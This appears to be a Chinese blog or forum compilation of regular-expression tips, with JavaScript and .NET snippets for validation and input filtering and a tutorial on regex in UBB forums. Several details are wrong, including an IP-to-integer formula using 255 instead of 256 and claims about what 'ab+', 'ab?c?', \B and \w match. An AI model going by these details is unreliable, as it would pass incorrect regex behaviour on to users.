<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">var ip="10.100.20.168" <br>ip=ip.split(".") <br>alert("IP值是："+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1)) </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">匹配网址URL的正则表达式：<a href="http://([/w-]+/.)+[/w-]+(/[/w">http://([\w-]+\.)+[\w-]+(/[\w</a>- ./?%&amp;=]*)? </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">利用正则表达式去除字串中重复的字符的算法程序：[注：此程序不正确，原因见本贴回复] </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">var s="abacabefgeeii" <br>var s1=s.replace(/(.).*\1/g,"$1") <br>var re=new RegExp("["+s1+]","g") <br>var s2=s.replace(re,"") <br>alert(s1+s2)//结果为：abcefgi </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法，最终没有找到，这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符，再以重复的字符建立第二个表达式，取到不重复的字符，两者串连。这个方法对于字符顺序有要求的字符串可能不适用。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">得用正则表达式从URL地址中提取文件名的javascript程序，如下结果为page1 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">s="<a href="http://www.9499.net/page1.htm">http://www.9499.net/page1.htm</a>" <br>s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2") <br>alert(s) </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">利用正则表达式限制网页表单里的文本框输入内容： </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">用正则表达式限制只能输入中文：onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,&#8217;&#8217;)" onbeforepaste="clipboardData.setData(&#8217;text&#8217;,clipboardData.getData(&#8217;text&#8217;).replace(/[^\u4E00-\u9FA5]/g,&#8217;&#8217;))" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">用正则表达式限制只能输入全角字符： onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,&#8217;&#8217;)" onbeforepaste="clipboardData.setData(&#8217;text&#8217;,clipboardData.getData(&#8217;text&#8217;).replace(/[^\uFF00-\uFFFF]/g,&#8217;&#8217;))" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">用正则表达式限制只能输入数字：onkeyup="value=value.replace(/[^\d]/g,&#8217;&#8217;) "onbeforepaste="clipboardData.setData(&#8217;text&#8217;,clipboardData.getData(&#8217;text&#8217;).replace(/[^\d]/g,&#8217;&#8217;))" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">用正则表达式限制只能输入数字和英文：onkeyup="value=value.replace(/[\W]/g,&#8217;&#8217;) "onbeforepaste="clipboardData.setData(&#8217;text&#8217;,clipboardData.getData(&#8217;text&#8217;).replace(/[^\d]/g,&#8217;&#8217;))" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">正则表达式 regular expression <br>正则表达式 RegExp <br>模式 pattern <br>匹配 Match <br>.NET命名空间： System.Text.RegularExpression </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp; <br>补充： <br>^\d+$　　//匹配非负整数（正整数 + 0） <br>^[0-9]*[1-9][0-9]*$　　//匹配正整数 <br>^((-\d+)|(0+))$　　//匹配非正整数（负整数 + 0） <br>^-[0-9]*[1-9][0-9]*$　　//匹配负整数 <br>^-?\d+$　　　　//匹配整数 <br>^\d+(\.\d+)?$　　//匹配非负浮点数（正浮点数 + 0） <br>^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$　　//匹配正浮点数 <br>^((-\d+(\.\d+)?)|(0+(\.0+)?))$　　//匹配非正浮点数（负浮点数 + 0） <br>^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$　　//匹配负浮点数 <br>^(-?\d+)(\.\d+)?$　　//匹配浮点数 <br>^[A-Za-z]+$　　//匹配由26个英文字母组成的字符串 <br>^[A-Z]+$　　//匹配由26个英文字母的大写组成的字符串 <br>^[a-z]+$　　//匹配由26个英文字母的小写组成的字符串 <br>^[A-Za-z0-9]+$　　//匹配由数字和26个英文字母组成的字符串 <br>^\w+$　　//匹配由数字、26个英文字母或者下划线组成的字符串 <br>^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$　　　　//匹配email地址 <br>^[a-zA-z]+://匹配(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\S*)?$　　//匹配url </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp; <br>利用正则表达式去除字串中重复的字符的算法程序： </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">var s="abacabefgeeii" <br>var s1=s.replace(/(.).*\1/g,"$1") <br>var re=new RegExp("["+s1+]","g") <br>var s2=s.replace(re,"") <br>alert(s1+s2) //结果为：abcefgi <br>=============================== <br>如果var s = "abacabefggeeii" <br>结果就不对了，结果为：abeicfgg <br>正则表达式的能力有限 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">RE: totoro <br>谢谢你的指点，这个javascript正则表达式程序算法确实有问题，我会试着找更好的办法!!! </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">1.确认有效电子邮件格式 <br>下面的代码示例使用静态 Regex.IsMatch 方法验证一个字符串是否为有效电子邮件格式。如果字符串包含一个有效的电子邮件地址，则 IsValidEmail 方法返回 true，否则返回 false，但不采取其他任何操作。您可以使用 IsValidEmail，在应用程序将地址存储在数据库中或显示在 ASP.NET 页中之前，筛选出包含无效字符的电子邮件地址。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">[Visual Basic] <br>Function IsValidEmail(strIn As String) As Boolean <br>&#8217; Return true if strIn is in valid e-mail format. <br>Return Regex.IsMatch(strIn, ("^([\w-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([\w-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$") <br>End Function <br>[C#] <br>bool IsValidEmail(string strIn) <br>{ <br>// Return true if strIn is in valid e-mail format. <br>return Regex.IsMatch(strIn, @"^([\w-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([\w-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$"); <br>} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>2.清理输入字符串 <br>下面的代码示例使用静态 Regex.Replace 方法从字符串中抽出无效字符。您可以使用这里定义的 CleanInput 方法，清除掉在接受用户输入的窗体的文本字段中输入的可能有害的字符。CleanInput 在清除掉除 @、-（连字符）和 .（句点）以外的所有非字母数字字符后返回一个字符串。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">[Visual Basic] <br>Function CleanInput(strIn As String) As String <br>&#8217; Replace invalid characters with empty strings. <br>Return Regex.Replace(strIn, "[^\w\.@-]", "") <br>End Function <br>[C#] <br>String CleanInput(string strIn) <br>{ <br>// Replace invalid characters with empty strings. <br>return Regex.Replace(strIn, @"[^\w\.@-]", ""); <br>} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>3.更改日期格式 <br>以下代码示例使用 Regex.Replace 方法来用 dd-mm-yy 的日期形式代替 mm/dd/yy 的日期形式。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">[Visual Basic] <br>Function MDYToDMY(input As String) As String <br>Return Regex.Replace(input, _ <br>"\b(?&lt;month&gt;\d{1,2})/(?&lt;day&gt;\d{1,2})/(?&lt;year&gt;\d{2,4})\b", _ <br>"${day}-${month}-${year}") <br>End Function <br>[C#] <br>String MDYToDMY(String input) <br>{ <br>return Regex.Replace(input, <br>"<a href="file://b(%3F%3Cmonth%3E//d%7B1,2%7D)/(?%3Cday%3E//d%7B1,2%7D)/(?%3Cyear%3E//d%7B2,4%7D)//b">\\b(?&lt;month&gt;\\d{1,2})/(?&lt;day&gt;\\d{1,2})/(?&lt;year&gt;\\d{2,4})\\b</a>", <br>"${day}-${month}-${year}"); <br>} <br>Regex 替换模式 <br>本示例说明如何在 Regex.Replace 的替换模式中使用命名的反向引用。其中，替换表达式 ${day} 插入由 (?&lt;day&gt;...) 组捕获的子字符串。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">有几种静态函数使您可以在使用正则表达式操作时无需创建显式正则表达式对象，而 Regex.Replace 函数正是其中之一。如果您不想保留编译的正则表达式，这将给您带来方便 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>4.提取 URL 信息 <br>以下代码示例使用 Match.Result 来从 URL 提取协议和端口号。例如，&#8220;http://www.contoso.com:8080/letters/readme.html&#8221;将返回&#8220;http:8080&#8221;。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">[Visual Basic] <br>Function Extension(url As String) As String <br>Dim r As New Regex("^(?&lt;proto&gt;\w+)://[^/]+?(?&lt;port&gt;:\d+)?/", _ <br>RegexOptions.Compiled) <br>Return r.Match(url).Result("${proto}${port}") <br>End Function <br>[C#] <br>String Extension(String url) <br>{ <br>Regex r = new Regex(@"^(?&lt;proto&gt;\w+)://[^/]+?(?&lt;port&gt;:\d+)?/", <br>RegexOptions.Compiled); <br>return r.Match(url).Result("${proto}${port}"); <br>} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp; <br>如何用正则表达式表示要么是数字要么是字母 是字母的话只能是一个字母 数字则无所谓？ </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">^[a-zA-Z]$|^\d+$&nbsp; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">我要回复 <br>断弦 2007-5-9 17:14:00 删除 JavaScript中的正则表达式解析 <br>2005-10-20 16:30:46 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">正则表达式(regular expression)对象包含一个正则表达式模式(pattern)。它具有用正则表达式模式去匹配或代替一个字符串(string)中特定字符(或字符集合)的属性(properties)和方法(methods)。 要为一个单独的正则表达式添加属性,可以使用正则表达式构造函数(constructor function)，无论何时被调用的预设置的正则表达式拥有静态的属性(the predefined RegExp object has static properties that are set whenever any regular expression is used, 我不知道我翻得对不对，将原文列出，请自行翻译)。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">创建： <br>一个文本格式或正则表达式构造函数 <br>文本格式： /pattern/flags <br>正则表达式构造函数： new RegExp("pattern"[,"flags"]); <br>参数说明： <br>pattern -- 一个正则表达式文本 <br>flags -- 如果存在，将是以下值： <br>g: 全局匹配 <br>i: 忽略大小写 <br>gi: 以上组合 <br>[注意] 文本格式的参数不用引号，而在用构造函数时的参数需要引号。如：/ab+c/i new RegExp("ab+c","i")是实现一样的功能。<br>在构造函数中，一些特殊字符需要进行转意(在特殊字符前加"\")。如：re = new RegExp("<a href="file://w/">\\w</a>+") </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">正则表达式中的特殊字符 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">字符 含意 <br>\ 做为转意，即通常在"\"后面的字符不按原来意义解释，如/b/匹配字符"b"，当b前面加了反斜杆后/\b/，转意为匹配一个单词的边界。 <br>-或- <br>对正则表达式功能字符的还原，如"*"匹配它前面元字符0次或多次，/a*/将匹配a,aa,aaa，加了"\"后，/a\*/将只匹配"a*"。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">^ 匹配一个输入或一行的开头，/^a/匹配"an A"，而不匹配"An a" <br>$ 匹配一个输入或一行的结尾，/a$/匹配"An a"，而不匹配"an A" <br>* 匹配前面元字符0次或多次，/ba*/将匹配b,ba,baa,baaa <br>+ 匹配前面元字符1次或多次，/ba*/将匹配ba,baa,baaa <br>? 匹配前面元字符0次或1次，/ba*/将匹配b,ba <br>(x) 匹配x保存x在名为$1...$9的变量中 <br>x|y 匹配x或y <br>{n} 精确匹配n次 <br>{n,} 匹配n次以上 <br>{n,m} 匹配n-m次 <br>[xyz] 字符集(character set)，匹配这个集合中的任一一个字符(或元字符) <br>[^xyz] 不匹配这个集合中的任何一个字符 <br>[\b] 匹配一个退格符 <br>\b 匹配一个单词的边界 <br>\B 匹配一个单词的非边界 <br>\cX 这儿，X是一个控制符，/\cM/匹配Ctrl-M <br>\d 匹配一个字数字符，/\d/ = /[0-9]/ <br>\D 匹配一个非字数字符，/\D/ = /[^0-9]/ <br>\n 匹配一个换行符 <br>\r 匹配一个回车符 <br>\s 匹配一个空白字符，包括\n,\r,\f,\t,\v等 <br>\S 匹配一个非空白字符，等于/[^\n\f\r\t\v]/ <br>\t 匹配一个制表符 <br>\v 匹配一个重直制表符 <br>\w 匹配一个可以组成单词的字符(alphanumeric，这是我的意译，含数字)，包括下划线，如[\w]匹配"$5.98"中的5，等于[a-zA-Z0-9] <br>\W 匹配一个不可以组成单词的字符，如[\W]匹配"$5.98"中的$，等于[^a-zA-Z0-9]。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">说了这么多了，我们来看一些正则表达式的实际应用的例子： </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">E-mail地址验证: <br>function test_email(strEmail) { <br>var myReg = /^[_a-z0-9]+@([_a-z0-9]+\.)+[a-z0-9]{2,3}$/; <br>if(myReg.test(strEmail)) return true; <br>return false; <br>} <br>HTML代码的屏蔽 <br>function mask_HTMLCode(strInput) { <br>var myReg = /&lt;(\w+)&gt;/; <br>return strInput.replace(myReg, "&lt;$1&gt;"); <br>}</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">正则表达式对象的属性及方法 <br>　　预定义的正则表达式拥有有以下静态属性：input, multiline, lastMatch, lastParen, leftContext, rightContext和$1到$9。<br>其中input和multiline可以预设置。其他属性的值在执行过exec或test方法后被根据不同条件赋以不同的值。<br>许多属性同时拥有长和短(perl风格)的两个名字，并且，这两个名字指向同一个值。(JavaScript模拟perl的正则表达式) </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">正则表达式对象的属性 属性 含义 <br>$1...$9 如果它(们)存在，是匹配到的子串 <br>$_ 参见input <br>$* 参见multiline <br>$&amp; 参见lastMatch <br>$+ 参见lastParen <br>$` 参见leftContext <br>$&#8217;　　　　　　　　　 参见rightContext <br>constructor　　　 创建一个对象的一个特殊的函数原型 <br>global　　　　　　 是否在整个串中匹配(bool型) <br>ignoreCase　　　　 匹配时是否忽略大小写(bool型) <br>input　　　　　　　 被匹配的串 <br>lastIndex　　　　 最后一次匹配的索引 <br>lastParen　　　　 最后一个括号括起来的子串 <br>leftContext　　　 最近一次匹配以左的子串 <br>multiline　　　　 是否进行多行匹配(bool型) <br>prototype　　　　 允许附加属性给对象 <br>rightContext　　　 最近一次匹配以右的子串 <br>source　　　　　　 正则表达式模式 <br>lastIndex　　　　 最后一次匹配的索引 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>正则表达式对象的方法 <br>方法 含义 <br>compile　　　　　 正则表达式比较 <br>exec　　　　　　　 执行查找 <br>test　　　　　　　 进行匹配 <br>toSource　　　　　 返回特定对象的定义(literal representing)，其值可用来创建一个新的对象。重载Object.toSource方法得到的。 <br>toString　　　　　 返回特定对象的串。重载Object.toString方法得到的。 <br>valueOf　　　　　 返回特定对象的原始值。重载Object.valueOf方法得到 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">例子 <br>Smith, John <br>将输出"Smith, John" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>posted by yxs</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&nbsp;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>&nbsp;<br>&nbsp;<br>断弦 2007-5-9 17:15:00 删除 《正则表达式在ＵＢＢ论坛中的应用》</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">一、读者指引</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　读者指引帮助你掌握本文的梗概。以免你看了大半才明白这编文章不适合你，给你造成视觉污染。<br>　　如果你正在用ＡＳＰ写程序，或者你正在写一些诸如ＢＢＳ、留言溥或表单数据检查之类的东东那就值得一看。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　如果你对正则表达式已经了如指掌，那么你不必一行行的看，只要看看我写的模板，再比较一下，取其精华就行了。<br>　　如果你还是第一次接触正则表达式，那么你最好一行行的看，并逐条试验</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　当你熟练的掌握了正则表达式的用法，你就会发现其乐无穷。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">二、正则表达式的概念</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　什么是ＵＢＢ代码？什么是正则表达式？</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　ＵＢＢ代码是HTML的一个变种。一般情况下，ＵＢＢ论坛不允许你使用ＨＴＭＬ代码，而只能用ＵＢＢ代码替代ＨＴＭＬ代码。<br>　　ＵＢＢ代码是一套由流行的ＵＢＢ标签组成了固定代码，代码有统一的格式。用户只要遵循代码规则就可以实现用户想要的功能。如：<br>　　想要显示粗体的how are you 字样，就应该输入 how are you而不是输入&lt;b&gt;how are you&lt;/b&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　你也许会问：ＡＳＰ是怎样把 how are you转换为&lt;b&gt;how are you&lt;/b&gt;的呢？<br>　　回答这个问题就是：用正则表达式。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">三、正则表达式的用途</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">有时我们在制作网站表单数据处理的时候（尤其是ＵＢＢ论坛）,都需要进行数据验证和字符串替代，特别是ＵＢＢ论坛要进行大量的数据安全性和字符串替代</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">邮于一般的论坛不支持HTML语法这就使得用户不能修改字体，不能贴图等等一些功能。这样使得论坛失去了吸引用户的一个强有力的途径。可能说一个强大的论坛在吸引用户数量上还是很重要的。这样就出现了一个ＵＢＢ解决方案，即在论坛不支持HTML语法的情况下用户仍然可以定制自已贴子的样式，贴图，增加链接，转贴网页等等诸多的功能，可能达到支持HTML语法同样的效果，而且这样可以使得论坛相对于HTML的论坛安全性大大提高。用户基本不能对论坛过行任何恶意攻击。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">四、正则表达式的语法规则和标记</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　现在我们正式进入则表达式的学习，我会根据实例结合讲解正则表达式的用法，看完后你就会觉得写ＵＢＢ代码如此简单了，只要你一步一步的跟着我学 看完本文章后你就成为ＵＢＢ高手了。激动人心的就是你能写出自已的ＵＢＢ标签来了，再也不用到别人那里去拷贝现成的代码和模板了。 还好VBScritp5.0给我们提供了&#8220;正则表达式&#8221;对象，只要你的服务器安装了IE5.x，就可以运行了.</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　字符描述：</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　^符号匹配字符串的开头。例如：<br>　　　　^abc　与&#8220;abc xyz&#8221;匹配，而不与&#8220;xyz abc&#8221;匹配</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　$符号匹配字符串的结尾。例如：<br>　　　　abc$　与&#8220;xyz abc&#8221;匹配，而不与&#8220;abc xyz&#8221;匹配。<br>　　　　注意：如果同时使用^符号和$符号，将进行精确匹配。例如：<br>　　　　　　　^abc$　只与&#8220;abc&#8221;匹配　　　</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　*符号匹配０个或多个前面的字符。例如：<br>　　　　ab*　可以匹配&#8220;ab&#8221;、&#8220;abb&#8221;、&#8220;abbb&#8221;等</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　+符号匹配至少一个前面的字符。例如：<br>　　　　ab+　可以匹配&#8220;abb&#8221;、&#8220;abbb&#8221;等，但不匹配&#8220;ab&#8221;。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　?符号匹配０个或１个前面的字符。例如：<br>　　　　ab?c?　可以且只能匹配&#8220;abc&#8221;、&#8220;abbc&#8221;、&#8220;abcc&#8221;和&#8220;abbcc&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　.符号匹配除换行符以外的任何字符。例如：<br>　　　　(.)+　匹配除换行符以外的所有字符串</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　x|y匹配&#8220;x&#8221;或&#8220;y&#8221;。例如：<br>　　　　abc|xyz　可匹配 &#8220;abc&#8221;或 &#8220;xyz&#8221;，而&#8220;ab(c|x)yz&#8221;匹配 &#8220;abcyz&#8221;和&#8220;abxyz&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　{n}匹配恰好n次（n为非负整数）前面的字符。例如：<br>　　　　a{2}　可以匹配&#8220;aa&#8220;，但不匹配&#8220;a&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　{n,}匹配至少n次（n为非负整数）前面的字符。例如：<br>　　　　a{3,}　匹配&#8220;aaa&#8221;、&#8220;aaaa&#8221;等，但不匹配&#8220;a&#8221;和&#8220;aa&#8221;。<br>　　　　注意：a{1,}等价于a+<br>　　　　　　　a{0,}等价于a*</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　{m,n}匹配至少m个，至多n个前面的字符。例如：<br>　　　　a{1,3}　只匹配&#8220;a&#8221;、&#8220;aa&#8221;和&#8220;aaa&#8221;。<br>　　　　注意：a{0,1}等价于a?</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　[xyz]表示一个字符集，匹配括号中字符的其中之一。例如：<br>　　　　[abc]　匹配&#8220;a&#8221;、&#8220;b&#8221;和&#8220;c&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　[^xyz]表示一个否定的字符集。匹配不在此括号中的任何字符。例如：<br>　　　　[^abc]　可以匹配除&#8220;a&#8221;、&#8220;b&#8221;和&#8220;c&#8221;之外的任何字符</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　[a-z]表示某个范围内的字符，匹配指定区间内的任何字符。例如：<br>　　　　[a-z]　匹配从&#8220;a&#8221;到&#8220;z&#8221;之间的任何一个小写字母字符</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　[^m-n]表示某个范围之外的字符，匹配不在指定范围内的字符。例如：<br>　　　　[m-n]　匹配除从&#8220;m&#8221;到&#8220;n&#8221;之间的任何字符</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　\符号是转义操作符。例如：<br>　　　　\n　换行符<br>　　　　\f　分页符<br>　　　　\r　回车<br>　　　　\t　制表符<br>　　　　\v　垂直制表符</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\\　匹配&#8220;\&#8221;<br>　　　　\/　匹配&#8220;/&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\s　任何白字符，包括空格、制表符、分页符等。等价于&#8220;[ \f\n\r\t\v]&#8221;<br>　　　　\S　任何非空白的字符。等价于&#8220;^\f\n\r\t\v]&#8221;<br>　　　　\w　任何单词字符，包括字母和下划线。等价于&#8220;[A-Za-z0-9_]&#8221;<br>　　　　\W　任何非单词字符。等价于&#8220;[^A-Za-z0-9_]&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\b匹配单词的结尾。例如：<br>　　　　　　ve\b　匹配单词&#8220;love&#8221;等，但不匹配&#8220;very&#8221;、&#8220;even&#8221;等</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\B匹配单词的开头。例如：<br>　　　　　　ve\B　匹配单词&#8220;very&#8221;等，但不匹配&#8220;love&#8221;等</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\d匹配一个数字字符，等价于[0-9]。例如：<br>　　　　　　abc\dxyz　匹配&#8220;abc2xyz&#8221;、&#8220;abc4xyz&#8221;等，但不匹配&#8220;abcaxyz&#8221;、&#8220;abc-xyz&#8221;等</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\D匹配一个非数字字符，等价于[^0-9]。例如：<br>　　　　　　abc\Dxyz　匹配&#8220;abcaxyz&#8221;、&#8220;abc-xyz&#8221;等，但不匹配&#8220;abc2xyz&#8221;、&#8220;abc4xyz&#8221;等</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\NUM匹配NUM个（其中NUM为一个正整数），引用回到记住的匹配。例如：<br>　　　　　　(.)\1　匹配两个连续相同的字符。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\oNUM匹配n（其中n为一个小于２５６的八进制换码值）。例如：<br>　　　　　　\o011　匹配制表符</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　　　　\xNUM匹配NUM（其中NUM为一个小于２５６的十六进制换码值）。例如：<br>　　　　　　\x41　匹配字符&#8220;A&#8221;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>五、实例分析</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">1）在字符串中精确查找链接地址</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">((http|https|ftp):(\/\/|\\\\)((\w)+[.]){1,}(net|com|cn|org|cc|tv|[0-9]{1,3})(((\/[\~]*|\\[\~]*)<br>(\w)+)|[.](\w)+)*(((([?](\w)+){1}[=]*))*((\w)+){1}([\&amp;](\w)+[\=](\w)+)*)*)</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">我们知道，链接地址一般以http或者https或者ftp等形式出现。初步总结一下就是，链接地址必须符合如下条件：</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">条件１<br>　以http://或者https://或者ftp://等开头（当然还有其它形式，这里只列出主要的）</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">条件２<br>　http://后面必须跟一个单词字符，紧接着单词字符后面的是"."（这样的组合必须出现一次或多次）。紧跟着&#8220;.&#8221;后面的是域名后缀（如net或者com或者cn等，如果是以IP地址的形式出现就可以是数字）</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">条件３<br>　出现完整的链接地址后，还可以出现下一级或者更多级的目录（还要注意个人主页的地址有可能出现"~"符号）</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">条件４<br>　链接地址末尾可以带参数。如典型的页数?PageNo=2&amp;action=display等</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">现在我们用下面的代码来逐个匹配上面的条件——</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">1、((http|https|ftp):(\/\/|\\\\) 满足条件１<br>表示http:// http:\\ https:// https:\\ ftp:// ftp:\\都匹配（在这里考虑了某些用户可能把"//"输成&#8220;\\&#8221;的易发性错误）<br>注意："|"表示&#8220;或者&#8221;，"\"是转义字符。&#8220;\/\/&#8221;表示"//"，&#8220;\\\\&#8221;表示"\\"</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">2、((\w)+[.]){1,}(net|com|cn|org|cc|tv|[0-9]{1,3}) 满足条件２<br>&#8220;((\w)+[.]){1,}&#8221;表示一个单词字符加一个点号可以出现1次或者多次（这里考虑了某些用户喜欢省略www而将<a href="http://www.w3c.com/">http://www.w3c.com</a>写成<a href="http://w3c.com/">http://w3c.com</a>）<br>&#8220;(net|com|cn|org|cc|tv|[0-9]{1,3})&#8221;表示必须要以net或者com或者cn或者org或者cc或者tv或者三位以下的数字结束<br>[0-9]{1,3}表示三位以下的数字，因为ip地址的任何段不能超过255</p>
